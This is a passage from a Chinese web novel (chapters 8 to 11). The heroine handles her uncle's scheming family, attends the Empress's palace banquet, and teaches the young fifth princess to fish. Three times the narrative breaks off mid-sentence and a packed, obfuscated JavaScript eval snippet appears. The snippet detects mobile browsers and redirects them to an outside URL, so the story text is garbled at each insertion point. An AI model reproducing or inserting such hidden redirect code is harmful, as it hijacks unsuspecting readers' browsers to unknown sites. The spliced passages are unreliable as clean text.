无人打扰,姜同云乐得清闲,抓紧时间拜访了三四位长辈。之后又把从杭州带来的土仪分了,让陶叔和陶振分别送去了老爷子几位学生家里。 人情往来走动完毕后,她给老爷子去了封信。之后便投入精力开始准备清明祭扫的诸项事宜。 这并非她第一次主理这类事务,加上有陶叔从旁协助,一应事项做起来并无难度,只在采买上多费了些时间。 清明当天,姜同云又去了一趟祖父和父母坟前。 自然的,她也遇到了前来祭扫的义阳侯及其长子姜向瑜。 姜弘凯觉得这个侄女不肯回府来住是在下自己面子,后面姜同云又拿御史中丞卫大人的名号来压他,他心里一直是存着火气的。 故而见到姜同云的时候,他也拉不下脸来再提让姜同云回府的话,只能皮笑肉不笑地回应了姜同云的问候,示意儿子姜向瑜前去交涉。 姜向瑜刚满十七,如今正在国子监内上学。 因为兄嫂战亡的事情,姜弘凯不敢再把儿子送去军中搏命,只把家中两个儿子往文官的方向培养。 再加上李夫人对孩子多有溺爱,姜向瑜被养得白净文弱。 姜向瑜收到父亲指示,又想起了临出门前母亲的叮嘱,便主动上前对着姜同云行礼道:“向瑜见过大姐姐。” 他从小就性格板正,如今也没有大改。言谈举止不像年轻人,反倒像是个老夫子。 他的同胞妹妹将向瑶就很不一样,比他灵活机变得多。 姜同云对这些个弟弟妹妹没有什么恶感。何况姜向瑜礼数周全,她也不能对着人家摆脸色,便笑着去扶他手臂:“不必如此拘礼。” 好在姜向瑜没说什么“礼不可废”之类的话,顺着姜同云的力道乖乖站好。 姜同云见他还有些拘束,便主动打开话头,问了些学业方面的事情。姜向瑜也配合着一一作答。 聊了一阵,姜向瑜终于稍稍放松下来。 他不是那种拐弯抹角的性格,犹豫了一会后还是决定直接开口:“大姐姐回府住吧。” 姜同云止了话,转头看向姜向瑜的眼睛:“是你母亲要你这么说的?” 姜向瑜摇了摇头:“不,是我自己这么觉得的。” 8. 宫宴 “大姐姐毕竟姓姜。大伯父、大伯母早逝,父亲作为叔父,对大姐姐有抚养照料之责。”姜向瑜认真地说道。 姜同云笑笑:“我有能力照顾自己。” “……即便如此,大姐姐也该回家来的。”姜向瑜的表情愈发严肃,“大姐姐有婚约在身,即将与颍川侯府定下婚期。时人多有拜高踩低,在侯府出嫁于大姐姐日后更加有益。” 姜同云略去其他,直接抓住重点:“你如何知道婚期将定?” “上个月,颍川侯夫人前来拜访,与母亲谈了许久。”说到这里,姜向瑜想到探听后宅非君子所为,难免为自己的举动感到有些不好意思。 他顿了顿才继续道:“后来我又偶尔听到父亲母亲数次谈起大姐姐的婚约。想来是颍川侯夫人主动与母亲提起此事,才能引得他们如此重视。既然双方有过交谈,如今大姐姐回来,自然也该尽快定下婚期。” 姜同云挑了下眉:这可不太妙啊。真要是定了婚期,自己可就跑不掉了。 见姜同云不说话,姜向瑜以为她还有所犹疑,当即又开始劝说: “我虽看不惯如今追崇出身家世的风气,但世风如此,无可奈何。为了大姐姐的将来考虑,还是应该尽快回家,以备婚事。” 想了想,他又补充道:“韩兄与我有些往来。他学识过人、性情端方、人品贵重,定会是大姐姐的良配。” 姜向瑜神态诚恳,更显得这番话发自肺腑。 作为侯府大公子,他能为姜同云这个隔房的姐姐考虑这么多,已经是很难得了。 木樨和柳四娘听完这番话后都极为动容。 就连一向不动声色的陶叔,都在听了这些话后显露出几分惊讶之色来:那义阳侯夫妇竟然还能养出这样的儿子来? 姜同云倒不觉得讶异。 姜向瑜一向都是这个认死理的性子,小的时候就爱念叨“君子重诺”这一类的话。恐怕在他看来,既然双方之间定有婚约,那就必须履行约定,不可违背。 姜同云也不怀疑这个弟弟为自己考虑的真心。 不过嘛…… 她拢起双手,摩挲着自己的指关节,斟酌着问道:“你似乎与那位韩公子相熟?” 姜向瑜以为这位大姐姐对她那未曾谋面的未婚夫感到好奇,便笑着夸赞道: “我与韩兄同在国子监进学。许是因为大姐姐的关系,韩兄对我多有照拂。韩兄为人高风亮节,行事端方守礼,极有君子风范,实乃吾辈楷模。” 懂了,板正书呆子Pro。 姜同云本来就不想嫁给一个根本不熟的陌生人,更别说现在还知道了对方很有可能是个大号加强版的姜向瑜。 不过很明显,自己这边的人,包括远在杭州的外祖父,现在都跟姜向瑜统一战线,认为这桩婚事极好。 姜同云不想在这里跟他们发生争执,便换了个话题,开始像向姜向瑜询问起金陵近年来兴起的一些节日风俗。 在姜同云刻意回避的情况下,话题没有再被引到婚约上去。两人保持着和睦的氛围聊到祭拜正式开始。 祭扫结束,姜同云照旧返回了位于升平坊的居所。 不过她答应会再去义阳侯府看望弟弟妹妹们,也同意了姜家人上门拜访的请求。 于是,几日后的下午,李夫人带着姜向瑶登门造访。 姜同云的这位二妹妹也已年满十七。她在身形方面肖似其母李夫人,长得高挑瘦长,走起路来颇有细柳迎风之感。 不过这对母女在容貌上的相似度并不太高。姜向瑶长着一张遗传自祖母的鹅蛋脸,搭配上恰到好处的细眉杏眼,确实也是个实打实的美人。 说起来,老太太年轻时也是容貌出众的。否则也很难以边城小吏之女的出身,嫁给当时已经崭露头角、前途无量的姜家祖父。 老太太对姜家最大的贡献,可能就是为姜家的后代注入了足够稳定的美貌基因。如今姜家这些孙辈长得都挺不错,姜府的几位姑娘更是不同类型、各具风情的漂亮。 姜向瑶和她的同胞哥哥确实大相径庭。她性格活泼,嘴巴也甜,一下车就把前来迎客的姜同云夸了一遍,进屋后又把这处院子夸了一遍。自己夸还不够,她又把她的母亲也拉上一起吹捧姜同云。 她俩热情得过于明显,以至于姜同云都有些怀疑她们是不是要找自己借钱。 好不容易才结束了这毫无意义的寒暄,姜同云实在不愿听她们继续拍些莫名其妙的马屁,便直截了当地开了口: “婶婶和二妹妹今日过来是有何事?” 李夫人被这么直白地一问,一时之间有些愣神。反应过来后,她连忙堆起笑来:“今日我带着你妹妹去参加一个小宴。散宴的时候想起来,你就住得不远,所以顺道过来看看你。” 姜同云看着李夫人,似笑非笑地问道:“只是来看我吗?” 李夫人尴尬地笑了笑:“……也不全是。我昨日接到宫里消息,四月初二,皇后娘娘要在京郊行宫里举办宴会,咱们义阳侯府有幸受邀赴宴。皇后娘娘还允准各府带自家姑娘同去。” “我想着你刚回金陵,一个人在这也没什么事做。行宫景致不错,你到时候就随我一同前去吧。” 姜同云扫过略显紧张的李夫人,怀疑她没安什么好心,便婉拒道:“既是宫宴,想来规矩森严。我不曾参加过这种宴会,未免冲撞贵人,还是不去的好。” 李夫人一时语塞。 一旁的姜向瑶立刻笑着开口:“此次宴会是在行宫,没有那般讲究。再说了,我也会跟着一起去,到时候我会一直陪着大姐姐的。” “而且各府夫人都会参宴,宴上还有许多年轻小姐。大姐姐久未在京,应当趁此机会认一认人。这样大姐姐将来嫁去颍川侯府,才不至于对各家关系一无所知嘛。” 姜同云还要继续拒绝,却见站在门口的陶叔正朝自己使劲点头。 看来姜向瑶刚刚的话,已经把陶叔说动了。 姜同云思考片刻。 其实老爷子对姜同云这对叔婶的评价是很到位的:功利短视。 他们夫妻俩都没什么大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426644|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本事。这么多年下来,姜弘凯在朝堂上干不出什么名堂来,李夫人也没能在贵妇圈里建立起稳固的人脉关系。 因为能力欠缺,为了保住家业,他们俩只能花费更多的心思用于钻营。 也正因为能力欠缺,他们俩是想不出什么精妙绝伦的害人法子的。 简单来说,这对夫妻就是脑子不太够用的利己主义者。 以他们的智力和演技,应该还不至于给姜同云设下什么避无可避的陷阱。 更何况,虽然宴会是在行宫举行,但那也是皇家地盘,举办宴会用的还是皇后的名义。就凭姜家如今这点实力,还真没法插手进这种宴会去给别人设套。 想到这里,姜同云决定答应下来。 毕竟,跟前方不知道是否存在的陷阱比起来,眼前陶叔的唠叨可是实打实的烦人! 见姜同云点头,李夫人瞬间高兴起来。 “好!那我明天就让府里绣娘过来给你新做一套衣裳!我那儿还有好些好料子,明天让人一并带过来给你挑。” “哦对了。”李夫人似是想起什么,又补充道,“你不是担心宫宴的规矩嘛,我再派个经验老到的嬷嬷过来教一教你。” 来了。 姜同云心道。 恐怕赴宴并不重要,往自己这里塞人才是李夫人的真实目的。 但姜同云既然已经答应了参宴,这会儿也不差再多一两个下人。也正好能看看这义阳侯府的葫芦里究竟卖的是什么药! 况且自己确实也该突击补习一下相关的礼仪知识,以免到时候犯错惹祸上身。 想到这里,姜同云便笑着应了下来:“那就有劳婶婶费心了。” 次日早晨,义阳侯府的那位八字胡管事就把李夫人安排的嬷嬷和绣娘一并送了过来。 侯府送来的这位老嬷嬷姓杜,据说先帝登基初时就在宫中服侍,一直未曾婚嫁。 后来杜嬷嬷上了年纪,曾经服侍的老太妃也已故去。于是她得了今上恩赏,被放出宫来,返回故里和家人同住。双亲去后,杜嬷嬷回到金陵,被义阳侯聘请回府,负责为府上姑娘们教导礼仪。 杜嬷嬷在义阳侯府很受礼遇。此次出府教导姜同云,李夫人还特意为她派了两个丫鬟随行服侍。 虽然这位杜嬷嬷外表严肃,看着十分不近人情,但姜同云只和她浅谈了片刻,便被她的专业性折服。 出于对老人家的尊重,姜同云把她安排在了空置的西厢房内居住。 此后几日,姜同云每天早晨都会带着木樨一起,到西厢房内接受杜嬷嬷的礼仪培训课程。 四月初二的早晨。 阳光甫一透入窗楹,姜同云便醒了过来。 她唤来木樨,梳洗过后换上侯府绣娘赶制出来的新衣,开始梳妆打扮。 今日宫宴,姜同云的首要目标就是不能出错。在这个前提下,她还要保持低调,划水混完这场宴会。 简单妆扮一番,确认自己既不失礼也不出挑后,姜同云草草用过早饭,登上了义阳侯府派来接她的马车。 9. 打窝 马车载着姜同云往城外而去。 出了城门,姜同云就在城墙边上瞧见了李夫人乘坐的马车。 两边打过招呼,姜同云乘坐的马车汇入侯府队伍,三辆车在数名仆从随护下往行宫方向而去。 约莫半个时辰后,马车在行宫入口处停下。 宫宴不能带自家仆从,所以姜同云只能让木樨和柳四娘留在行宫外等待,自己则跟着李夫人入内。 进了宫门,姜同云才寻到机会同李夫人说话:“婶婶,二妹妹今日怎么没来?” 李夫人眼神躲闪了一瞬,略有些不自然地笑道:“你妹妹前两天非要去城郊游湖,结果吹了风起了热,到今早还病恹恹的。我就没敢带她来。” 姜同云挑了下眉,暗暗提高了警惕。 两人跟随宫侍,一路穿过修饰精致的花园,行至湖上。 这处湖泊原本只是一片小水域,在前朝的时候经由人工挖掘,扩大面积用于调蓄秦淮河水。 后来前朝国运衰微,各地割据,金陵也被一方势力占据。这片湖泊又被当时的国君看中,继续开拓,并在其上修建宫室。 越朝建立后收拢南方各处,定都金陵。这座精致奢华的宫室便成了皇家一处行宫,皇室经常会在春夏时节于此宴请宗室臣工。 今日的宴会,就是在湖上的观澜殿举行。 二人被引入侧殿的时候,里面已经来了不少宾客。 姜同云打眼一扫,殿里或坐或站,全是女眷,而且年轻女性不在少数。 殿内衣香云鬓,环佩叮当。女客们三三两两地散开,各自和相熟之人小声谈天说笑。气氛很是松快。 李夫人一进殿就四下里望了一圈,很快就寻到了熟悉的人,拉着姜同云一起过去问好。 好巧不巧,李夫人的这位“熟人”,正是颍川侯夫人。 姜同云已经有些看不懂李夫人的目的了。 难道她真就是纯好心,要带自己先来见见未来婆婆,同时介绍自己进入金陵贵妇圈子? 还没等姜同云找出什么头绪来,李夫人已经向颍川侯夫人以及侧旁两位夫人介绍了姜同云。 颍川侯夫人微抬下巴,半垂着眼把姜同云从头到脚看了一遍。 她的目光傲慢且咄咄逼人,上下扫视的动作仿佛是在评估一件货物的价值。姜同云敏锐地从她的神态动作里感觉到了对自己的轻视和不满,心中升起一阵不快。 姜同云不躲不闪,直直地盯住对方双眼。两人视线相接,气氛一时冷滞下来。 李夫人却像没有察觉一般,轻轻推了推姜同云:“快给几位夫人请个安。” 姜同云淡淡地对着颍川侯夫人笑了笑,屈身行了一个无可挑剔的礼:“见过几位夫人。” 侧旁一位圆脸庞的夫人看出了两人之间古怪的氛围,连忙笑着打了个圆场:“姜大姑娘年纪小,跟着我们怪没意思的。我家姑娘就在那头,要不你也过去和她们一起吧。年轻人才能玩到一块去嘛。” 说着,她又朝李夫人使了使眼色。李夫人这才后知后觉地发现气氛有些不对,连忙跟着应了两声:“哦哦,对。” 姜同云也不乐意跟颍川侯夫人较这种没意思的劲,便顺着这话告了辞,独自离开了。 见她离去,颍川侯夫人才不冷不热地说道:“你的这位侄女,长得倒是出挑。可惜没点年轻人该有的活泼气。” 另一位夫人开口道:“毕竟父母早逝,也是个可怜孩子……” 几人顺着这个话题说了几句,又开始聊起金陵城内权贵圈子近来的八卦。 这头,姜同云也是闷得无聊。 殿里虽然有不少年轻姑娘,但她谁也不认识。她也略听了听这些千金小姐们聊的话题,多是有关金陵近来时兴的东西。姜同云对这些知之甚少,也无意加入她们。 问过殿里侍奉的宫女后,她便独自走了出去,沿着湖上回廊游逛起来。 这里的风景确实很是不错。 更重要的是,这处湖泊连通了秦淮水域,姜同云已经在湖里看见了好几回游鱼影子。 可惜今天没带钓具,不然在这里钓上半天的鱼,一定非常惬意。 想到这里,略感遗憾的姜同云决定换个位置,到花园里去观景。 她沿着回廊往岸边走去。 转过一处凉亭,踏上一座小拱桥,姜同云借着这点高度四下张望,想要确认一下方向。 谁料这一看,她就在近岸一丛矮草丛里,看见了一根钓竿尖尖。 钓竿! 居然真有人在这里钓鱼?! 好奇之下,姜同云提起裙摆,快步朝那处草丛走去。 绕过假山造景,姜同云远远地听见了说话声。 “哎呀,刚才竿子是不是动了!快提起来看看!” 姜同云循声走去。 就见草丛后的湖岸沿边上,坐了两个女孩。 其中一位穿着红蓝相间的破裙,项间戴了一串璎珞,钓竿就握在她的手上,此时正在手忙脚乱地摇动转轮收线;另一位穿着浅绿裙衫,拎着网兜准备帮忙网鱼。 两人都梳着一双小髻,看上去不过十一二岁光景。 很快,鱼钩就被收了上来。 “又没吃……是不是我刚刚说话太大声,把鱼吓跑了呀。” 偷听的姜同云忍不住笑出了声。 两个女孩立刻转过了身。 穿浅绿裙衫的女孩问道:“你是什么人!为什么躲在那里偷看!” 姜同云从假山后走出来:“我可没有偷看。我是来赴宴的,看到你们钓鱼觉得有趣,所以过来看看。” 戴璎珞的女孩把手中钓车往岸边一扔,泄气道:“哪里有趣了。我都折腾好久了,一条鱼也没钓上来。” 姜同云走上前去,拾起钓车:“为什么要躲在草丛后面钓鱼?” 璎珞女孩仰起头看向姜同云:“不躲起来,鱼看见我就会跑开了啊!” 姜同云笑了:“鱼可没有这么聪明。” “钓鱼的时候应该选择开阔的水面落竿,这样你不会被草丛遮蔽视线,收竿的时候也不会被水中杂物缠绕鱼线。” 姜同云说着,朝侧旁走了两步:“这个位置就不错。” 璎珞女孩立刻跳了起来:“姐姐会钓鱼吗?” “嗯,稍微会一点吧。”姜同云捏起拇指和食指,朝她比了个“一点点”的手势。 女孩立刻跑到她身边:“那姐姐教教我吧!” 姜同云帮两人把钓鱼工具都挪到了新的钓鱼位置。 别看这两个小姑娘对钓鱼一窍不通,准备的工具倒是想到齐全。不仅还有一把备用钓竿,连鱼钩都还有好几种不同型号。 就是那些鱼饵…… 姜同云看了一眼食盒里的精致糕点:“你们就用这个钓鱼啊?” 绿衫女孩掀起隔层:“还有些别的。” 姜同云又往里看了看。 别的也就那样。里面最正经的,可能就是最底下的那碗鱼饲料了。 算了,反正有系统加持,设备简陋一些也是能钓上鱼来的。 姜同云拿起那碗饲料,舀了一些湖水,将饲料和成丸子。 两个女孩好奇地凑了上来。 “姐姐为什么要把这些捏起来啊?” 姜同云一边团丸子一边回答道:“钓鱼要先打窝,就是扔食物下去,先把鱼骗过来。” “这些饲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426645|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料太轻了,不加水团起来扔不了太远。”姜同云将碗内饲料团成两个拳头大小的丸子,“像这样,就好抛了。” 她指了指钓车:“现在抛竿定一下位置。” 璎珞女孩立刻拿起钓车,朝湖里甩下鱼钩。 “抛得很稳。”姜同云夸了一句,随后将手中的饲料丸子依次抛出。 经过这么多年的钓鱼训练,姜同云的打窝技术已经非常纯熟,两枚丸子都精准地落到了竿尖所在的位置。 “好啦,把鱼钩收回来吧。”姜同云拍了拍手,“我们等鱼游过来,顺便挑一下鱼饵。” “要等多久啊?” 正经打窝,至少半小时起步。不过姜同云有系统的极致加持,即使用的打窝材料不尽如人意,鱼也会被很快吸引过来的。 她想了想,给了一个大概的时间:“约莫一刻钟左右吧。看到刚刚打窝的地方有气泡冒出来,那就是有鱼了。” 两个女孩似懂非懂地点了点头。 趁着这段时间,姜同云在食盒里挑拣合适的糕点,用作鱼饵。 因为姜同云说过要保持安静,以免吓跑鱼群,两个女孩便围在她身边,小声地向她推荐糕点。 “这个,这个特别好吃!” “但是那个一下就化了,还是用这个好吧。” 三个人扎成一团,蹲在湖边精挑细选,最终选定出了两种糕点。 她们把糕点捏碎,混上湖水搅匀捏起。 刚收拾好鱼饵,湖里就冒起了阵阵小气泡。 “有鱼,有鱼来了。”绿衫女孩眼尖,一下就看到了湖面下游曳的影子,“有一条特别大!” 姜同云望了望湖面,果断道:“快朝那里抛竿!” 璎珞女孩立刻举起钓车,朝着冒起气泡的位置抛下鱼竿。 别看她不会钓鱼,但这抛竿的手法确实不错。只轻轻一甩,挂了饵料的鱼钩就又准又稳地扎进了鱼群之中。 三人在湖边坐下,开始耐心等待。 许是有姜同云的高效打窝和璎珞女孩新手光环的双重加成在,这次的鱼竿很快就有了动静。 “站起来,握紧鱼竿。”姜同云开始指导收竿,“感觉鱼的力气很大,可以蹲下来扎个马步。” 听了姜同云的话,璎珞女孩还真的扎了个像模像样的马步。 “不要用蛮力硬拉。鱼刚咬钩的时候力气还大,要尽量用巧劲溜鱼,消耗掉鱼的力气。” 在姜同云的指导下,咬钩的鱼很快就用完了力气,被逐渐拉到岸边。 这是一条足有女性小臂长的鲫鱼。 两个女孩看到这么大的鱼,不由张开嘴巴,发出了“哇”的声音。 不过她们都还记得要保持安静,所以尽力控制住了音量。 姜同云被她俩逗笑,上前接过钓车:“我替你们拉着,你们去把鱼网上来吧。” 想了想,她又补充了一句:“这湖挖过,岸边水也深。你们网鱼的时候小心一点。” 两个女孩点了点头,各自抄起一把网兜,趴在岸边开始捞鱼。 很快,鱼就被网了上来。 两个人一起端着网兜,好不容易才把活碰乱跳的大鱼装进鱼篓。 璎珞女孩原地蹦了两下,激动地说道:“姐姐快来看呀!真的好大!” 姜同云捧场地凑上前去。 这边三人围在鱼篓边上兴奋看鱼,那头的谢怀雵正在内监引导下朝观澜殿走去。 行至湖上,他被远处又蹦又跳的女孩吸引了视线。 谢怀雵嘴角扬起,刚想说些什么,却看见了从湖边转过身来的姜同云。 谢怀雵一眼就认出了她。 姜姑娘怎么会在这儿! 10. 开宴 因为太过讶异,谢怀雵停下了脚步。 前头引路的内监很快察觉,也驻足回身:“齐王殿下,您……” 谢怀雵回过神来。 为了不把姜同云牵扯进来引起内监误会,谢怀雵只道:“五公主在湖边玩,怎么也没见宫人跟着?” 内监朝湖边望了一眼,笑道:“公主不喜欢被管束,想来随侍的宫人都藏起来了。您瞧那边假山后面是不是躲着人呢。” 谢怀雵顺着内监所指一看,假山后确实露出了些许衣角。 他笑着摇了摇头:“这个丫头。有人看着就行。你继续带路吧,不能让皇后娘娘等久了。” 内监应是,转身继续在前引路。 谢怀雵跟上对方,脸上的笑容却迅速收了起来。 姜姑娘已有婚约在身,怎么会来参加这个宴会? 不行,得让人仔细查查。 思绪回转间,便已到了观澜殿。 谢怀雵走的是另一条路,避开各府女眷所在的侧殿,直接去了皇后休息的后殿。 见到谢怀雵来,殿门口侍立的小内监连忙行礼:“见过齐王殿下。” 谢怀雵对皇后身边的宫人一向客气:“不必多礼。娘娘正在休息?劳烦替我通传一声。” 小内监笑着打起竹帘:“娘娘吩咐过的,您来了不用通传,直接进去就是。” 小内监虽然这么说,谢怀雵却不能不顾礼数。 进了后殿,他找到侍立在屏案前的宫女,请对方先入内告知。 说话间,殿内的皇后已经听到了门口的声响:“是怀雵来了吗?” 既然已被皇后发现,谢怀雵也就大大方方地绕过门口的屏风,进入里间:“参见皇后娘娘。” 大越皇后姓邓,出身显贵,是先梁国公之女,现梁国公胞妹。她脸颊丰润,时常带笑,看上去和善可亲。不过因为眉目生得英气,加上多年身居高位,敛眉肃容时亦有一股摄人的威严。 见到谢怀雵来,邓皇后便从坐榻上站起,笑着迎上前来:“都是自家人,况且今日又不是在宫里,何必这般多礼。” 谢怀雵只是笑笑:“娘娘体恤。但怀雵既是臣子,亦是晚辈,该尽的礼数不能忘。” “你这孩子。”邓皇后拉着谢怀雵在下首的椅子上坐下,自己重新回到坐榻上,半倚着软枕,“听说你前阵子生了病,如今可好利索了?” 也不怪她发出此问。进入四月后,金陵日趋和暖,有些不怕冷的都已经开始穿夏装了,但谢怀雵却还穿着一身厚重的冬装外套,面上也泛着青白,几乎不见血色,看上去实在不太康健。 “病早就好了。只是我这身子……您也是知道的。”谢怀雵语速平稳,就是听着中气不足,“让陛下和娘娘忧心,怀雵着实过意不去。” 邓皇后面上流露出心疼之色:“你这孩子,说什么过意不去呢。你这身子,也是该好好调理一下。太子昨日来请安的时候,特意提了给你府上拨两个太医的事。陛下已经应允了,过两日选好人就给你派去。” 谢怀雵抬手行礼:“多谢太子关爱。” “他是做哥哥的,关怀弟弟也是份内之事。”邓皇后舒缓面色,重新露出笑意来,“不过要我说,你还是应该尽早成亲才是。你的妻子定然会比那些仆从们用心。你府里有个知冷知热的王妃,陛下与我才能真正放心。” 谢怀雵倒不意外皇后提这茬。因为举办今日这场宴会,本来就是为了替他挑选王妃。 他之所以愿意过来,也是不想日后哪天,陛下突然拿出一份候选人名单,非要自己在里面挑出一个人来做齐王妃。 “陛下与娘娘用心良苦,怀雵铭感于内。只是……”谢怀雵捂着嘴咳了两声,神色黯然地说道,“只是我这身子,只怕会委屈了人家姑娘。” 邓皇后并不认同他的话:“你是陛下最疼爱的侄子,太子待你也如亲手足。不管是谁,只要嫁给你就是大越的齐王妃,怎么能算是委屈呢?更何况,今日来的各家也都是知道情况,主动来赴宴的。” 谢怀雵又咳了两下,心道这可不一定。 邓皇后不知道他在想什么,看他咳嗽,便安抚道:“再说了,你只是比较体弱,太医说好好调养就能恢复的。你要再说那些不吉利的话,我可真要伤心了。” 见他没有反驳,邓皇后才又露出笑容:“今日含昭也跟着出宫了。我已命人单独备了一席,等会你们兄妹俩就在正殿后的隔间里用饭吧。正好也能让你掌掌眼,瞧瞧有没有中意的姑娘。” 眼见逃不过去,谢怀雵只能先行应下:“是。” 大不了等会就说没一个能入眼的。 说服了谢怀雵,邓皇后心情大好,转而问道:“含昭呢?方才听她说要出去玩,去哪了?” 侍立一旁的女官答道:“公主说要去钓鱼,宫人备了渔具,公主就往东面湖岸去了。” “她能钓上什么鱼呀。”说到这个女儿,皇后半是好气半是好笑,“到时候别回来个落水的小凤凰就行。” 谢怀雵适时开口:“娘娘属实是小瞧含昭了。方才我来的时候路过湖岸,正巧看见她钓了条不小的鱼上来呢。” “哦?她还有这本事?”邓皇后笑了起来,“那正好!晚些把鱼带回去,做了鱼汤,咱们大家一人分上一碗。” 观澜殿里已经开始商量怎么分鱼,鱼获的真正主人却不知情,还在湖岸和第二尾咬钩的鱼斗智斗勇。 “快往回拉,不能让它进草丛!” 带着璎珞、穿着红蓝间色破裙的五公主谢含昭立刻绷紧手臂,开始跟鱼角力。 很快,第二条鱼也被拉至岸边。 这是一条草鱼,体型比刚刚钓上的鲫鱼要小上一圈,于是姜同云便没有帮忙,让两个女孩互相配合把鱼捞了上来。 宫里用的还是普通的竹制鱼篓,没法像现代的鱼护那样浸入水中保持鱼的活力。离了水好一会儿,竹篓里的鲫鱼已经没有动弹力气,直到草鱼被放进去,它才又在惊吓中扑腾了两下。 谢含昭关上鱼篓,拿着钓车还想再来,躲在假山后旁观许久的宫女立刻走上前来: “殿下,马上就要开宴了,您也该回去了。” 听到宫女唤女孩殿下,早就有所猜测的姜同云丝毫不觉意外。 今天来赴宴的年轻女性虽然很多,但恐怕没有哪家的姑娘真敢在行宫里钓鱼。而且这两个小姑娘的道具这么齐全,肯定是由宫人帮忙准备的。能这么轻易地使唤行宫的人,她俩的身份一定不会简单。 加上年龄佐证,姜同云很快就确认了璎珞女孩的身份:今上最小的女儿,皇后所出的五公主。 至于另外一位,宫中没有其他年龄相近的公主。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426646|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加上她穿着虽然考究,但身上没有佩戴多少首饰,估计是宫里给五公主安排作玩伴的小宫女。 谢含昭撅起了嘴:“我才钓了两条鱼呢,再让我钓一会嘛。” 见公主不配合,宫女便开始讲道理,绿衫女孩也帮着劝说。 姜同云想了想,在谢含昭身边半蹲下来:“殿下还想再钓?” 谢含昭点头:“钓鱼比宴会有意思多了!” 姜同云笑了:这还是个钓鱼佬的好苗子啊。 不过她可不是来帮谢含昭的。姜同云装出为难的样子:“可是宴会马上要开始了。我得赶紧回去,不能在这里陪殿下了。” 谢含昭立刻急了:“姐姐要走了吗?可是我还没完全学会呢!” 姜同云脸上难色愈重:“我今日来就是参加宴会的,要是不去的话……” 谢含昭想了想,最终还是不情不愿地说道:“那今天就先算了吧,我也不能让姐姐挨骂。” 顿了顿,她似是想起来什么,又变得高兴起来:“姐姐是哪个府上的?过几日我央了父皇母后,让姐姐再来陪我玩好不好!” 姜同云迟疑片刻。 平心而论,谢含昭是个很讨人喜欢的小姑娘,姜同云也蛮喜欢带着她钓鱼的。 但是如果要进宫去…… 看出她的犹豫,谢含昭立刻想到了她在担忧什么,连忙补充道:“宫里都是小鱼,没什么好钓的。咱们再来这里钓,好不好?” 小姑娘想得这般周到,姜同云只觉心里熨帖,便笑着将自己的住址说了:“到时候我带我的饵料和鱼篓来,咱们好好钓一回!” 得到许诺,谢含昭立刻开心起来。 见五公主展颜,宫女也松了口气。她朝着姜同云笑了笑,转身叫人来收拾东西。 能被皇后选中侍奉女儿,这位宫女也是个周全人。她对着姜同云笑道:“马上就要开宴了,我先让人送姑娘回去吧。” 姜同云谢过她的好意,作别还要去换衣裳的谢含昭,跟着被指派的宫人先回观澜殿去了。 因为开宴在即,宫人就没带姜同云回侧殿,而是直接去了主殿。 到观澜殿的时候,宾客们已经陆陆续续地入座了。 见到姜同云,焦急的李夫人立刻松了口气:“可算回来了!你刚刚跑哪去了?这儿毕竟是行宫,你可不能乱走啊。” 看着李夫人这副生怕自己犯错的样子,姜同云倒是确定了她没有那个在宴会上给自己设套的胆子。 她笑着答道:“我就在周围逛了逛。马上开宴了,婶婶还是赶紧坐下来吧。” 李夫人闻言,立刻环顾四周。发现殿内的人确实已经坐了大半后,她也顾不上责怪姜同云,领着她赶紧回到义阳侯府的位置坐下。 甫一坐下,宫人便敲了殿上的小钟。 李夫人立刻坐直了身子:“快坐好,皇后娘娘马上就要来了。” 难得看李夫人这般严肃拘谨,姜同云笑了笑,依言端正坐姿。 殿里的其他人也都赶紧坐下,不再交谈。观澜殿陷入了一片安静。 钟响完毕,宫人击掌。 珠帘掀开,穿着一身丁香色宫装的皇后缓步而出。她腰间悬佩着一对结着红色丝绦的白玉环,行走间玉环摇曳,发出一阵清脆悦耳的响声。 宽阔的正殿里只余环佩之音。 11. 吃席 殿内众人在女官指引下起身迎立。 邓皇后缓行至台上,悠然入座。宾客行礼拜见,一切井然有序。 走完一遍流程后,邓皇后抬手示意众人坐下,随后又简单说了些吉利的场面话,便正式宣布开宴。 丝竹雅乐奏响,舞姬自两侧鱼贯而入。后方侍立的宫人也有序为各处坐席依次捧上食物。 虽是皇家宴席,但毕竟只有女眷参加,且是在行宫举行,所以邓皇后摒弃了以往宫宴的惯例菜肴,选的都是些时令菜蔬,摆盘精致,味道也很是不错。 姜同云还是第一次参加这种级别的宴会。不明宴会目的的她只觉得歌舞也好看,席面也好吃。 别的夫人小姐要么在恭维皇后,要么在联络感情,就连一旁的李夫人也忙着和两侧的夫人交际。只有姜同云拿着筷子边看边吃,倒成了殿上唯一一个真情实感来吃饭的。 